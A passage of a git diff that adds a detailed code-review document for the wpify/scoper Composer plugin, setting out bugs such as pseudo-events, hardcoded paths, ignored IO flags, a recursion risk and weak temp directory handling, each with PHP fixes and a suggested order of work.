(!$capabilityObj instanceof Capability || !$capabilityObj instanceof $capabilityClassName) { + throw new \RuntimeException( + 'Class ' . $capabilityClass . ' must implement both Composer\Plugin\Capability\Capability and '. $capabilityClassName . '.' + ); +} +``` + +That `RuntimeException` would fire on every `composer list`, `composer help`, tab-completion, and any +unrecognised command (`Console/Application.php:255-266` — `$mayNeedPluginCommand`), for every user +of the plugin. + +### Fix + +Either delete `getCapabilities()` (`src/Plugin.php:104-108`) outright, or — preferably, in +combination with F4 — implement it correctly with a **separate** provider class: + +```php +// src/Plugin.php +use Composer\Plugin\Capable; + +class Plugin implements PluginInterface, Capable, EventSubscriberInterface { + public function getCapabilities() { + return array( + \Composer\Plugin\Capability\CommandProvider::class => \Wpify\Scoper\CommandProvider::class, + ); + } +} +``` + +```php +// src/CommandProvider.php +namespace Wpify\Scoper; + +class CommandProvider implements \Composer\Plugin\Capability\CommandProvider { + public function getCommands() { + return array( new ScoperCommand() ); // extends Composer\Command\BaseCommand + } +} +``` + +Note the provider's constructor receives a single array argument containing +`composer`, `io` and `plugin` keys (`Plugin/Capability/CommandProvider.php:17-21`, +`PluginManager.php:645-647`). + +### Benefit + +Removes dead code, removes a latent crash, and unlocks the `composer wpify-scoper …` UX in F4. + +### Downside / risk + +None for the delete-only variant. For the full variant, adding commands means Composer will now +instantiate them on `composer list` — keep the command constructor free of side effects. + +--- + +## F4 — Pseudo-events instead of a real command — **High / M** + +### What the code does now + +`src/Plugin.php:18-21` declares four fake event names: + +```php +public const SCOPER_INSTALL_CMD = 'scoper-install-cmd'; +public const SCOPER_INSTALL_NO_DEV_CMD = 'scoper-install-no-dev-cmd'; +public const SCOPER_UPDATE_CMD = 'scoper-update-cmd'; +public const SCOPER_UPDATE_NO_DEV_CMD = 'scoper-update-no-dev-cmd'; +``` + +`bin/wpify-scoper:32-45` bootstraps a whole Composer instance by hand and fabricates an event: + +```php +$factory = new Factory(); +$ioInterace = new NullIO(); +$composer = $factory->createComposer( $ioInterace ); +$fakeEvent = new Event( $command, $composer, $ioInterace ); + +$scoper = new Plugin(); +$scoper->activate( $composer, $ioInterace ); +$scoper->execute( $fakeEvent ); +``` + +`execute()` then string-matches those names back into real `ScriptEvents` constants +(`src/Plugin.php:159-165`, `181-195`). + +### Why it is wrong + +- The four constants are **not** events. They are never dispatched through + `Composer\EventDispatcher\EventDispatcher`; nothing else can subscribe to them; they exist purely + as a magic string channel between the bin script and one method. +- `new NullIO()` (`bin/wpify-scoper:34`) discards *all* Composer output — no progress, no warnings, + no auth prompts. A private-repository dependency in `composer-deps.json` will hang or fail with no + explanation. +- Calling `$scoper->activate()` manually bypasses `PluginManager`, so `config.allow-plugins`, + plugin-API version checks, and the runtime plugin autoloader + (`PluginManager::registerPackage()`, `PluginManager.php:169-330`) are all skipped. +- The two `--no-dev` variants (`SCOPER_INSTALL_NO_DEV_CMD`, `SCOPER_UPDATE_NO_DEV_CMD`) are + **unreachable** — `bin/wpify-scoper:13-21` only ever produces `SCOPER_INSTALL_CMD` or + `SCOPER_UPDATE_CMD`. There is no way for a user to get a `--no-dev` scoped install. Dead branches + at `src/Plugin.php:193-195` and `src/Plugin.php:163-165`. +- No `--help`, no `-v`, no `--no-interaction`, no argument validation. `bin/wpify-scoper:23-30` + prints usage and `exit`s with code **0** on bad input. +- `README.md:64` documents `composer wpify-scoper install`, which only works because the user is + told to add a `scripts` alias — a workaround for the missing real command. + +### The idiomatic Composer 2 way + +A `Composer\Command\BaseCommand` exposed through the `CommandProvider` capability (F3). +`BaseCommand` gives you `requireComposer()`, `tryComposer()`, `getIO()`, and full Symfony Console +argument/option/help handling for free, and Composer registers it automatically +(`Console/Application.php:790-800`) with correct `--working-dir`, `-v`, `--no-interaction` +and `--no-plugins` semantics. + +### Fix + +```php +namespace Wpify\Scoper; + +use Composer\Command\BaseCommand; +use Symfony\Component\Console\Input\InputArgument; +use Symfony\Component\Console\Input\InputInterface; +use Symfony\Component\Console\Input\InputOption; +use Symfony\Component\Console\Output\OutputInterface; + +class ScoperCommand extends BaseCommand { + protected function configure(): void { + $this->setName( 'wpify-scoper' ) + ->setDescription( 'Scope the dependencies declared in composer-deps.json' ) + ->addArgument( 'action', InputArgument::REQUIRED, 'install or update' ) + ->addOption( 'no-dev', null, InputOption::VALUE_NONE, 'Skip dev dependencies' ); + } + + protected function execute( InputInterface $input, OutputInterface $output ): int { + $composer = $this->requireComposer(); + $scoper = new Scoper( $composer, $this->getIO() ); // extracted from Plugin + + return $scoper->run( + $input->getArgument( 'action' ), + ! $input->getOption( 'no-dev' ) + ); + } +} +``` + +`bin/wpify-scoper` can then be dropped entirely (remove `composer.json:17-19`), or reduced to a thin +deprecation shim that prints "use `composer wpify-scoper …`". Keep `Plugin::execute()` for the +`POST_INSTALL_CMD`/`POST_UPDATE_CMD` autorun path, but have it delegate to the same `Scoper` class — +the string round-tripping at `src/Plugin.php:159-195` disappears. + +### Benefit + +`composer wpify-scoper install --no-dev -vv` works out of the box, with real help output, real +verbosity, correct exit codes, and Composer's own IO. The four pseudo-event constants and the manual +bootstrap both go away, and `--no-dev` becomes reachable. + +### Downside / risk + +BC break: `vendor/bin/wpify-scoper` disappears (or changes behaviour), and the four public constants +would be removed. CI pipelines and the `"scripts": {"wpify-scoper": "wpify-scoper"}` alias documented +in `README.md:44` need updating. Ship behind a major version, and keep the bin as a shim for one +release. Also: the command is only available when the plugin is allowed in `config.allow-plugins`, +which the README already instructs users to do. + +--- + +## F5 — `bin/wpify-scoper` hardcodes the vendor root — **High / S** + +### What the code does now + +`bin/wpify-scoper:9-10`: + +```php +$vendorRoot = __DIR__ . '/../../..'; +require_once $vendorRoot . '/autoload.php'; +``` + +### Why it is wrong + +`__DIR__` in PHP is the **resolved real path** of the containing directory — symlinks are already +followed. The `../../..` walk therefore only works when the file physically lives at +`/vendor/wpify/scoper/bin/`. + +| Scenario | `__DIR__` | `$vendorRoot . '/autoload.php'` | Result | +|---|---|---|---| +| Normal `composer require` | `/vendor/wpify/scoper/bin` | `/vendor/autoload.php` | works | +| `composer global require` | `$COMPOSER_HOME/vendor/wpify/scoper/bin` | `$COMPOSER_HOME/vendor/autoload.php` | loads the **global** autoloader, then `Factory::createComposer()` reads the *project* composer.json — mixed worlds | +| Path repo (symlinked, Composer's default) | `/packages/scoper/bin` | `/autoload.php` | **fatal**: `require_once(): Failed opening required` | +| Running from a clone of this repo | `/Users/…/projects/scoper/bin` | `/Users/autoload.php` | **fatal** | +| Custom `config.vendor-dir` | still `//wpify/scoper/bin` | `//autoload.php` | works (relative layout is preserved) | +| `--working-dir` | unaffected (`__DIR__` is absolute) | — | works | + +Composer has provided the correct mechanism since 2.2. Its generated bin proxies set two globals — +see the real proxy at `vendor/bin/php-scoper.phar:15-16` and the generator at +`vendor/composer/composer/src/Composer/Installer/BinaryInstaller.php:221,230`: + +```php +$GLOBALS['_composer_bin_dir'] = __DIR__; +$GLOBALS['_composer_autoload_path'] = __DIR__ . '/..'.'/autoload.php'; +``` + +### Fix + +```php +#!/usr/bin/env php +io` is stored but never used — **High / S** + +### What the code does now + +`src/Plugin.php:24` declares `protected $io;`, `src/Plugin.php:53` assigns it — and it is never read +anywhere in the file. All output flows through `src/Plugin.php:291`: + +```php +$output = new ConsoleOutput(); +``` + +### Why it is wrong + +A freshly constructed `Symfony\Component\Console\Output\ConsoleOutput` has none of the outer run's +settings: + +- **`--quiet` is ignored.** The default verbosity is `VERBOSITY_NORMAL`; the nested composer prints + its full output even under `composer install -q`. +- **`-v` / `-vv` / `-vvv` are ignored** in the other direction — you cannot get debug output out of + the nested install. +- **`--no-ansi` / `--ansi` are ignored.** `ConsoleOutput` auto-detects colour from the stream. In CI + where the outer Composer was told `--no-ansi` but the stream still looks like a TTY, the nested + output carries ANSI escapes into the log. +- **`--no-interaction` is not propagated** as an output/IO concern, and `bin/wpify-scoper` passes a + `NullIO` (F4), so any auth prompt from the nested install has nowhere to go. +- Non-TTY CI: `ConsoleOutput` will decorate based on its own detection rather than the outer run's + resolved decision. + +Composer's own nested-application code deliberately reaches into the current IO to reuse its stream +(`vendor/composer/composer/src/Composer/EventDispatcher/EventDispatcher.php:330-340`): + +```php +if ($this->io instanceof ConsoleIO) { + $reflProp = new \ReflectionProperty($this->io, 'output'); + ... + $output = $reflProp->getValue($this->io); +} else { + $output = new ConsoleOutput(); +} +``` + +### Fix + +With the subprocess approach from F1, propagate the outer IO's state as flags: + +```php +$verbosity = null; +if ( $this->io->isDebug() ) { $verbosity = '-vvv'; } +elseif ( $this->io->isVeryVerbose() ) { $verbosity = '-vv'; } +elseif ( $this->io->isVerbose() ) { $verbosity = '-v'; } + +$cmd = array_filter( array( + $php, $binary, $command, + '--working-dir=' . $path, + $verbosity, + $this->io->isDecorated() ? '--ansi' : '--no-ansi', + $this->io->isInteractive() ? null : '--no-interaction', + ... +) ); +``` + +…and route all of the plugin's own messages through `$this->io->write()` / +`$this->io->writeError()` instead of `echo`/`ConsoleOutput`. `IOInterface` exposes +`isVerbose()`, `isVeryVerbose()`, `isDebug()`, `isDecorated()`, `isInteractive()` for exactly this. + +### Benefit + +`composer install -q` is quiet, CI logs are clean, and `-vvv` actually shows what the scoper is doing +— currently the only way to debug a scoping failure. + +### Downside / risk + +None. Output volume changes for users who relied on the nested install always being loud. + +--- + +## F7 — php-scoper phar located and invoked incorrectly — **Medium / S** + +### What the code does now + +`src/Plugin.php:167`: + +```php +$phpscoper = realpath( __DIR__ . '/../../php-scoper/bin/php-scoper.phar' ); +``` + +`src/Plugin.php:169-173` then writes it into the generated `composer-deps.json` as a raw shell +command: + +```php +$composerJson->scripts->{$scriptName} = array( + $phpscoper . ' add-prefix --output-dir="' . $destination . '" --force --config="' . $scoperConfig . '"', + 'composer dump-autoload --working-dir="' . $destination . '" --optimize', + 'php "' . $postinstallPath . '"', +); +``` + +### Why it is wrong + +1. **Path assumption.** `__DIR__/../../php-scoper` assumes `wpify/scoper` and `wpify/php-scoper` + are siblings in the same vendor dir. True for a normal install; **false** for a symlinked path + repo, and false when running from a clone of this repo (`realpath()` then returns `false`, and + the generated command begins with a bare ` add-prefix …`, producing a baffling error). + Composer's runtime API gives the answer directly: + + ```php + \Composer\InstalledVersions::getInstallPath( 'wpify/php-scoper' ) . '/bin/php-scoper.phar' + ``` + + Verified working in this checkout (`vendor/composer/InstalledVersions.php:242`). +2. **No PHP binary.** The phar is invoked directly, relying on its `#!/usr/bin/env php` shebang + (confirmed via `Phar::getStub()`). That means (a) it runs under whatever `php` is first on + `PATH`, which may be a different version from the one running Composer — and the phar hard-fails + on anything below 8.2 (F2); (b) it requires the executable bit to have survived + installation; (c) **it cannot work on Windows**, where a shebang is meaningless. Composer solves + this with `getPhpExecCommand()` + (`vendor/composer/composer/src/Composer/EventDispatcher/EventDispatcher.php` — + `PhpExecutableFinder` plus `-d memory_limit=…` etc.) or with the `@php` script prefix. +3. **Bare `composer`** on line 171 — same problem. Composer's own answer is + `Platform::getEnv('COMPOSER_BINARY')` (`EventDispatcher.php:253`) or the `@composer` script prefix. +4. **Manual quoting.** `'--output-dir="' . $destination . '"'` breaks on any path containing a + double quote, and the `"` quoting is not correct on Windows `cmd`. Use + `ProcessExecutor::escape()`. + +### Fix + +```php +$phpscoper = \Composer\InstalledVersions::getInstallPath( 'wpify/php-scoper' ) . '/bin/php-scoper.phar'; + +$composerJson->scripts->{$scriptName} = array( + '@php ' . ProcessExecutor::escape( $phpscoper ) + . ' add-prefix --force' + . ' --output-dir=' . ProcessExecutor::escape( $destination ) + . ' --config=' . ProcessExecutor::escape( $scoperConfig ), + '@composer dump-autoload --working-dir=' . ProcessExecutor::escape( $destination ) . ' --optimize', + '@php ' . ProcessExecutor::escape( $postinstallPath ), +); +``` + +`@php` and `@composer` are resolved by Composer's `EventDispatcher` to the current PHP binary and the +current Composer binary respectively (`EventDispatcher.php:253`, `EventDispatcher.php:431`), which is +exactly the guarantee needed here. + +### Benefit + +Correct PHP binary (matching the resolver's platform config), correct Composer binary, Windows +support, and paths with spaces/quotes stop breaking. + +### Downside / risk + +`@php` inherits Composer's memory/ini flags, which changes the phar's effective `memory_limit` — +usually an improvement (scoping WordPress is memory-hungry), but worth verifying on a large project. + +--- + +## F8 — `getcwd()` used as the project root — **Medium / M** + +### What the code does now + +`getcwd()` appears at `src/Plugin.php:57`, `58`, `66`, `87`, `134`, `135`, `141`, `151`, `177`, `178` +and `275`, defining the deps folder, temp folder, `composer-deps.json` location, and the +`%%cwd%%` token baked into `postinstall.php`. + +### Why it is (partly) wrong — and where the brief's premise does not hold + +**`--working-dir` is *not* actually broken.** `Application::doRun()` chdirs into the target +directory at `vendor/composer/composer/src/Composer/Console/Application.php:167-174`, well before +`Factory::createComposer()` and before any plugin is activated. So during `activate()`, +`getcwd()` genuinely is the working directory. Same for the `use-parent-dir` fallback +(`Console/Application.php:213-217`) and for `composer global …`, which chdirs to `$COMPOSER_HOME` +(`Command/GlobalCommand.php:148`). The current code works in all of those. + +The real breakages are narrower but real: + +1. **`COMPOSER` env var.** `Factory::getComposerFile()` (`Factory.php:224-238`) honours + `COMPOSER=/path/to/other.json`, and `Factory::createComposer()` then sets the project root from + `dirname($localConfig)` (`Factory.php:285`), *not* from the cwd. With + `COMPOSER=../other/composer.json composer install`, the plugin writes `deps/`, the temp dir, and + `composer-deps.json` into the wrong directory. +2. **Custom `config.vendor-dir`** is never consulted; the plugin has no notion of it (F7 works + around it by accident because the relative layout is preserved). +3. **Brittleness / implicit coupling.** Nothing documents that `getcwd()` must equal the project + root. Any future in-process embedding (including this plugin's own `bin/wpify-scoper`, which does + not chdir) is silently wrong. +4. `createPath()` (`src/Plugin.php:268-276`) uses a **string heuristic** to decide whether it is + running as an installed package: + + ```php + $vendor = strpos( dirname( __DIR__ ), 'vendor' . DIRECTORY_SEPARATOR . 'wpify' . DIRECTORY_SEPARATOR . 'scoper' ); + ``` + + With a symlinked path repo, `dirname(__DIR__)` is the real source path, the heuristic returns + `false`, and `scoper.custom.php` is looked up inside the plugin directory instead of the project + root — **user customisations silently stop being applied**, with no warning. + +### Fix + +Resolve the root once in `activate()` from Composer's own config and drop every `getcwd()`: + +```php +public function activate( Composer $composer, IOInterface $io ) { + $this->composer = $composer; + $this->io = $io; + $this->rootDir = dirname( $composer->getConfig()->getConfigSource()->getName() ); + ... +} +``` + +`getConfigSource()->getName()` returns the absolute path to the active `composer.json` — verified in +this checkout it returns `/Users/wpify/projects/scoper/composer.json`. Use +`$composer->getConfig()->get('vendor-dir')` where the vendor dir is needed. + +Replace `createPath()`'s heuristic with an explicit check for the file in `$this->rootDir`, and +`$io->warning()` when a `scoper.custom.php` is found in an unexpected place. + +### Benefit + +Correct under `COMPOSER=`, correct for symlinked path repos, and the coupling to process cwd +becomes explicit and testable. + +### Downside / risk + +If any user currently relies on running Composer from a subdirectory with `use-parent-dir` *and* +expects `deps/` in the subdirectory, that changes. Unlikely, but call it out in the changelog. + +--- + +## F9 — Generated `composer-deps.json` embeds absolute host paths — **Medium / M** + +### What the code does now + +`src/Plugin.php:169-175` mutates the user's **tracked, hand-maintained** `composer-deps.json` (or +creates it, `src/Plugin.php:136-142`) and writes a `scripts` block full of absolute host paths: + +```json +"scripts": { + "post-install-cmd": [ + "/Users/me/project/vendor/wpify/php-scoper/bin/php-scoper.phar add-prefix --output-dir=\"/Users/me/project/tmp-a3f9c1e2b0/destination\" --force --config=\"/Users/me/project/tmp-a3f9c1e2b0/scoper.inc.php\"", + "composer dump-autoload --working-dir=\"/Users/me/project/tmp-a3f9c1e2b0/destination\" --optimize", + "php \"/Users/me/project/tmp-a3f9c1e2b0/postinstall.php\"" + ] +} +``` + +The `tmp-` segment is regenerated on every run (`src/Plugin.php:58`). + +### Why it is wrong + +- **Every run produces a diff.** The random temp directory name changes each time, so + `composer-deps.json` is dirty after every `composer install`. Committed, it is pure noise; + gitignored, it is not reproducible. +- **Not portable.** A `composer-deps.json` committed from a developer's Mac contains + `/Users/me/...` and is meaningless in CI or on another machine. The next run overwrites it, so it + "works", but the file in git is a lie. +- **`composer-deps.lock` is derived from it** (`src/Plugin.php:177-179`, `scripts/postinstall.php:57-58`), + so the lock's `content-hash` churns for reasons unrelated to the dependency set. +- **User data loss risk.** If a user legitimately defines `post-install-cmd` in their + `composer-deps.json`, `src/Plugin.php:169` overwrites it wholesale — no merge, no warning. +- The file is a *user-owned config file* being used as an internal scratch buffer. That is the + category error at the root of all of the above. + +### Fix + +Keep `composer-deps.json` read-only. Write the *derived* manifest into the temp directory and run +Composer against that: + +```php +$generated = $this->path( $source, 'composer.json' ); // already the case (src/Plugin.php:131) +``` + +…then drop the `scripts` injection entirely and drive the three steps directly from PHP after the +nested install returns (F1 already turns this into an ordinary sequential flow): + +```php +$this->runInstall( $source, $command, $useDev ); // 1. resolve + install +$this->runScoper( $scoperConfig, $destination ); // 2. php-scoper add-prefix +$this->runDumpAutoload( $destination ); // 3. composer dump-autoload +$this->runPostInstall( ... ); // 4. fixups + move into place +``` + +That also removes the need for the token-substituted `scripts/postinstall.php` template +(`src/Plugin.php:148-157`) — it can become a plain class with typed parameters. + +If the `scripts` mechanism must be kept for now, at minimum: (a) write the scripts only into the +copy at `$source/composer.json`, never back into the user's `composer-deps.json`; and (b) use a +**stable** temp directory (`$rootDir . '/.wpify-scoper'`) so nothing churns. + +### Benefit + +`composer-deps.json` becomes a stable, committable, machine-independent file. No user script is +clobbered. Reproducible builds. + +### Downside / risk + +Medium refactor touching the whole pipeline. Users who (accidentally) depended on the injected +scripts running inside the nested Composer's environment — e.g. platform config from +`composer-deps.json`'s `config.platform`, which the README explicitly recommends at +`README.md:32-33` — must be checked: the scoper step is currently run *by* the nested Composer and +would now run in the outer process. Preserve the platform-php semantics explicitly. + +--- + +## F10 — Re-entrancy is avoided only by accident — **Medium / S** + +### What the code does now + +`src/Plugin.php:44-49` subscribes to `POST_INSTALL_CMD` and `POST_UPDATE_CMD`; the handler +(`src/Plugin.php:197`) runs a nested `install`/`update`, which will itself dispatch +`POST_INSTALL_CMD`/`POST_UPDATE_CMD`. + +### Why it is a latent problem + +Plugins in the nested run are loaded from two places +(`vendor/composer/composer/src/Composer/Plugin/PluginManager.php:104-111`): + +```php +$this->loadRepository($repo, false, $this->composer->getPackage()); // local vendor of the nested project + +if ($this->globalComposer !== null && !$this->arePluginsDisabled('global')) { + $this->loadRepository($this->globalComposer->getRepositoryManager()->getLocalRepository(), true); +} +``` + +The generated `$source/composer.json` does not require `wpify/scoper`, so it is not loaded locally. +But `README.md:22` and both CI recipes (`README.md:88-93`, `README.md:118-119`) tell users to +`composer global require wpify/scoper` — and global plugins **are** loaded in the nested run. + +Recursion is currently broken only because `execute()` bails when `$this->prefix` is empty +(`src/Plugin.php:127`), and the generated `$source/composer.json` has no +`extra.wpify-scoper.prefix`. That is a coincidence, not a guard: + +- A user who copies their `extra` block into `composer-deps.json` (a very natural thing to do — the + README describes it at `README.md:23-25` as having "exactly same structure like composer.json") + gets **unbounded recursion**: each level creates a new `tmp-xxxxxxxxxx` directory and spawns + another install, until the machine runs out of disk or file descriptors. +- The `autorun: false` escape hatch (`src/Plugin.php:119-125`) does not help, because the copied + `extra` would carry `autorun: true`. + +Today the recursion terminates instead because of F1 (`exit()` kills the process at depth 1) — +i.e. one bug is masking another. **Fixing F1 without adding a guard makes this reachable.** + +### Fix + +Two independent guards: + +1. **Pass `--no-plugins` to the nested run.** The nested install of scoped dependencies has no + business loading plugins at all. This is the primary fix and is a one-line addition to the + command built in F1. +2. **Add an explicit re-entrancy flag** for defence in depth: + + ```php + private static bool $running = false; + + public function execute( Event $event ) { + if ( self::$running ) { + $this->io->writeError( 'wpify/scoper: re-entrant invocation detected, skipping.' ); + return; + } + self::$running = true; + try { ... } finally { self::$running = false; } + } + ``` + + With a subprocess (F1) a static flag does not cross the process boundary, so also set and check + an env var (e.g. `WPIFY_SCOPER_RUNNING=1`) via `Platform::putEnv()` / `Platform::getEnv()`. + +Additionally, strip `extra.wpify-scoper` from the generated `$source/composer.json` before writing it +(`src/Plugin.php:175`). + +### Benefit + +Removes an unbounded-recursion foot-gun that a reasonable reading of the README leads users into, +and makes the nested install faster and more predictable by not loading unrelated plugins. + +### Downside / risk + +`--no-plugins` will break users whose scoped dependency set genuinely needs an installer plugin +(e.g. `composer/installers` for a scoped WordPress package). If any such case exists, prefer the +env-var guard alone and leave plugins enabled. Worth checking against real consumer projects before +shipping. + +--- + +## F11 — `composer.json` metadata — **Medium / S** + +Taking the brief's items one at a time, including the two where the premise does not hold. + +### 11a. `composer/composer` in `require` — should be `require-dev` (or accepted deliberately) + +`composer.json:33`: `"composer/composer": "^2.6"`. + +The official plugin documentation () says: + +> You must require the special package called `composer-plugin-api` to define which Plugin API +> versions your plugin is compatible with. […] When developing a plugin, although not required, +> it's useful to add a **require-dev** dependency on `composer/composer` to have IDE autocompletion +> on Composer classes. + +The plugin currently *does* use classes outside the plugin API — `Composer\Console\Application` +(`src/Plugin.php:6`) and `Composer\Factory` (`bin/wpify-scoper:3`). Those are supplied by the +running Composer at runtime regardless of the declaration; requiring `composer/composer` pulls a +second, possibly different, copy into the user's vendor dir and can conflict with the running +Composer. + +**Fix:** implementing F1 (subprocess) and F4 (`BaseCommand`) removes the need for +`Composer\Console\Application` and `Composer\Factory` entirely. Then move `composer/composer` to +`require-dev` and keep only `composer-plugin-api` in `require`. If some non-API class must be kept, +document why and leave the require in place. +**Severity:** Medium. **Effort:** S (once F1/F4 land). + +### 11b. `symfony/console` used directly but not required + +`src/Plugin.php:13-14` imports `Symfony\Component\Console\Input\ArrayInput` and +`Symfony\Component\Console\Output\ConsoleOutput`; `composer.json` never requires +`symfony/console`. It resolves transitively via `composer/composer` (`composer.lock:180`: +`"symfony/console": "^5.4.47 || ^6.4.25 || ^7.1.10 || ^8.0"`; currently installed v8.1.1). + +`ArrayInput` and `ConsoleOutput` are stable across all of those, so this is not currently a +functional bug — but it is an undeclared direct dependency that `composer-require-checker` flags, +and it breaks the moment `composer/composer` moves to `require-dev` (11a). + +**Fix:** if the classes survive the F1/F4 refactor, add +`"symfony/console": "^5.4 || ^6.4 || ^7.0 || ^8.0"` to `require`. If F4 lands, `BaseCommand` needs +it anyway. +**Severity:** Low-Medium. **Effort:** S. + +### 11c. Missing `composer-runtime-api` + +Needed to legitimately use `$GLOBALS['_composer_autoload_path']` (F5) and +`Composer\InstalledVersions` (F7). Add `"composer-runtime-api": "^2.2"` to `require`. +**Severity:** Low. **Effort:** S. + +### 11d. `nikic/php-parser` in `require-dev` while `composer extract` is exposed + +`composer.json:21` declares `"extra": "php ./scripts/extract-symbols.php"`, and +`scripts/extract-symbols.php:3-7` imports `PhpParser\*`, with `nikic/php-parser` only in +`require-dev` (`composer.json:39`). + +This is fine as-is: `scripts` in a non-root package are never executed by consumers, and +`scripts/extract-symbols.php:9` requires `__DIR__ . '/../vendor/autoload.php'` — the *plugin's own* +vendor dir, which only exists in a clone. It is a maintainer-only tool. The one improvement worth +making is a `scripts-descriptions` entry so `composer list` explains it, and a guard that fails +clearly if `PhpParser` is missing. +**Severity:** Low. **Effort:** S. + +### 11e. Missing `keywords`, `homepage`, `support` + +`composer.json` has none of these. Packagist uses them for discovery and for the "Issues"/"Source" +links. + +```json +"keywords": ["wordpress", "woocommerce", "php-scoper", "prefix", "namespace", "composer-plugin", "scoper"], +"homepage": "https://github.com/wpify/scoper", +"support": { + "issues": "https://github.com/wpify/scoper/issues", + "source": "https://github.com/wpify/scoper" +} +``` + +**Severity:** Low. **Effort:** S. + +### 11f. `minimum-stability: stable` is redundant + +`composer.json:23`. `stable` is Composer's default, and `minimum-stability` is **ignored entirely** +in non-root packages. Harmless but noise — remove it. +**Severity:** Low. **Effort:** S. + +### 11g. `repositories` entry for wpackagist — **premise does not hold** + +`composer.json:24-29` adds `https://wpackagist.org`. The brief suggests this "leaks into a published +plugin". It does not: Composer **ignores the `repositories` key of any non-root package** — it is +only honoured in the root `composer.json`. The entry is genuinely required for this repo's own +`require-dev` (`wpackagist-plugin/woocommerce`, `composer.json:41`) and is inert for consumers. + +The one real cost is cosmetic: it shows up on the Packagist page and can confuse readers. Optionally +move the WordPress-source dev packages plus the repository entry into a separate +`tools/composer.json` or a Composer bin-plugin scope. Not required. +**Severity:** Low (informational). **Effort:** S. + +### 11h. `.gitattributes` / package size — **premise does not hold** + +The brief suggests `sources/` bloats the published package. It does not. `.gitignore:3` excludes +`/sources/`, and `git ls-files` shows only **14 tracked files** — the largest being +`symbols/wordpress.php` (197 KB) and `symbols/woocommerce.php` (92 KB), both of which are **required +at runtime** (`src/Plugin.php:226-255`). Dist archives are built from the git tree, so `sources/` is +already absent. + +A `.gitattributes` is still mildly worth adding for hygiene, but the win is small: + +```gitattributes +/docs export-ignore +/scripts/extract-symbols.php export-ignore +/.gitattributes export-ignore +/.gitignore export-ignore +``` + +(Do **not** export-ignore `symbols/` — it is runtime data. `scripts/postinstall.php` is also runtime, +read at `src/Plugin.php:148`.) +**Severity:** Low. **Effort:** S. + +### 11i. `config.allow-plugins` in the package + +`composer.json:60-65` is only honoured in the root `composer.json` (it exists here for this repo's +own dev install of `johnpbloch/wordpress-core-installer`). Correct as-is; no change. + +--- + +## F12 — `exit` inside `createScoperConfig()`; `require_once` for config — **Low / S** + +`src/Plugin.php:212-216`: + +```php +$config = require_once $config_path; + +if ( ! is_array( $config ) ) { + exit; +} +``` + +Two problems: + +1. **`exit` in a Composer plugin.** Same category as F1: it kills the outer Composer process, + skipping the audit and every subsequent listener — and here it exits with code **0**, i.e. a + configuration failure is reported to CI as success. It also prints nothing, so the user gets a + silent, successful-looking no-op. +2. **`require_once` on a value-returning file.** `require_once` returns `true` (not the file's + return value) if the path was already included. `config/scoper.config.php` is a + `return array(...)` file, and `config/scoper.inc.php:5` also does + `require_once __DIR__ . '/scoper.config.php'`. Any future code path that loads it twice in one + process makes `$config` become `true`, hit the `is_array` check, and `exit(0)` — a silent + failure that is very hard to diagnose. `require` is correct for value-returning files. + +**Fix:** + +```php +$config = require $config_path; + +if ( ! is_array( $config ) ) { + throw new \RuntimeException( + sprintf( 'wpify/scoper: %s must return an array, got %s.', $config_path, get_debug_type( $config ) ) + ); +} +``` + +Composer catches the exception and reports it properly with a non-zero exit code. + +**Benefit:** failures are visible and correctly signalled. **Downside:** none. + +--- + +## F13 — Temp directory naming, placement and cleanup — **Low / S** + +`src/Plugin.php:58`: + +```php +'temp' => $this->path( getcwd(), 'tmp-' . substr( str_shuffle( md5( microtime() ) ), 0, 10 ) ), +``` + +- `str_shuffle(md5(microtime()))` is a permutation of a fixed 32-char string — it does not increase + entropy; it draws from `microtime()` (low resolution, predictable) and `str_shuffle`'s non-CSPRNG. + Use `bin2hex(random_bytes(5))` — which is exactly what Composer itself does at + `Console/Application.php:369-370`. +- The directory is created **in the project root**, so a failed run leaves `tmp-xxxxxxxxxx/` + littering the user's repo. It is only removed by `scripts/postinstall.php:67`, i.e. on the + full-success path. There is no cleanup on failure and no `register_shutdown_function` guard. +- A random name per run defeats caching and makes the `composer-deps.json` diff churn (F9). +- `mkdir( $path, 0755, true )` (`src/Plugin.php:280`) ignores its return value and does not respect + the process umask expectations; failures surface later as confusing `file_put_contents` errors. + +**Fix:** use a single stable directory (`$rootDir . '/.wpify-scoper'`), add it to a recommended +`.gitignore` snippet in the README, wipe it at the start of each run, and wrap the whole pipeline in +`try/finally` to clean up. Check `mkdir()`'s return value and throw on failure. Consider +`$composer->getConfig()->get('cache-dir')` if the scratch space should live outside the project. + +**Benefit:** no repo litter, reproducible paths, no churn. +**Downside:** a stable path is a (minor) concurrency hazard if two Composer runs execute in the same +project simultaneously; add a lock file if that matters. + +--- + +## F14 — Silent no-op when `prefix` is missing — **Low / S** + +`src/Plugin.php:127`: `if ( ! empty( $this->prefix ) ) { ... }` — with no `else`. A user who installs +the plugin but forgets `extra.wpify-scoper.prefix` (step 3 of `README.md:26-28`) gets absolutely no +feedback: no scoping, no warning, no error. This is the single most likely first-run failure mode. + +**Fix:** + +```php +if ( empty( $this->prefix ) ) { + $this->io->writeError( + 'wpify/scoper: no "extra.wpify-scoper.prefix" configured in composer.json — skipping scoping.' + ); + return; +} +``` + +(Requires F6 so `$this->io` is actually usable.) Early-return also flattens the 70-line `if` body at +`src/Plugin.php:127-198`. + +**Benefit:** the most common setup mistake becomes self-diagnosing. +**Downside:** users who intentionally install the plugin without a prefix (e.g. it is a transitive +dev dependency) will see a warning on every install. Gate it behind +"`composer-deps.json` exists but no prefix is set" if that is a real scenario. + +--- + +## Suggested sequencing + +1. **F2** (PHP constraint) — one line, ship immediately. +2. **F3** (delete `getCapabilities()`) and **F5** (autoloader lookup) — small, independent, no BC risk. +3. **F1 + F6 + F10** together — the nested-run rewrite. F10's `--no-plugins` / env guard **must** + land in the same change as F1, since F1 unmasks the recursion. +4. **F7 + F12 + F13 + F14** — hardening, all small. +5. **F9** — the `composer-deps.json` refactor (largest single piece). +6. **F4** — `BaseCommand` + `CommandProvider`, alongside F3's provider class. Major version. +7. **F8** and **F11** — cleanup, any time. + +There are no automated tests in the repo. Before touching F1/F9, a smoke test that runs +`composer install` end-to-end against a fixture project with a real `composer-deps.json` (asserting +`deps/scoper-autoload.php` exists, a known symbol is prefixed, and a known WordPress function is +*not*) would make the rest of this list far safer to execute. diff --git a/docs/improvements/02-bugs-and-robustness.md b/docs/improvements/02-bugs-and-robustness.md new file mode 100644 index 0000000..52756e4 --- /dev/null +++ b/docs/improvements/02-bugs-and-robustness.md @@ -0,0 +1,1539 @@ +# wpify/scoper — Bugs & Robustness Audit + +Scope: `src/Plugin.php`, `scripts/postinstall.php`, `bin/wpify-scoper`, `config/scoper.inc.php`, 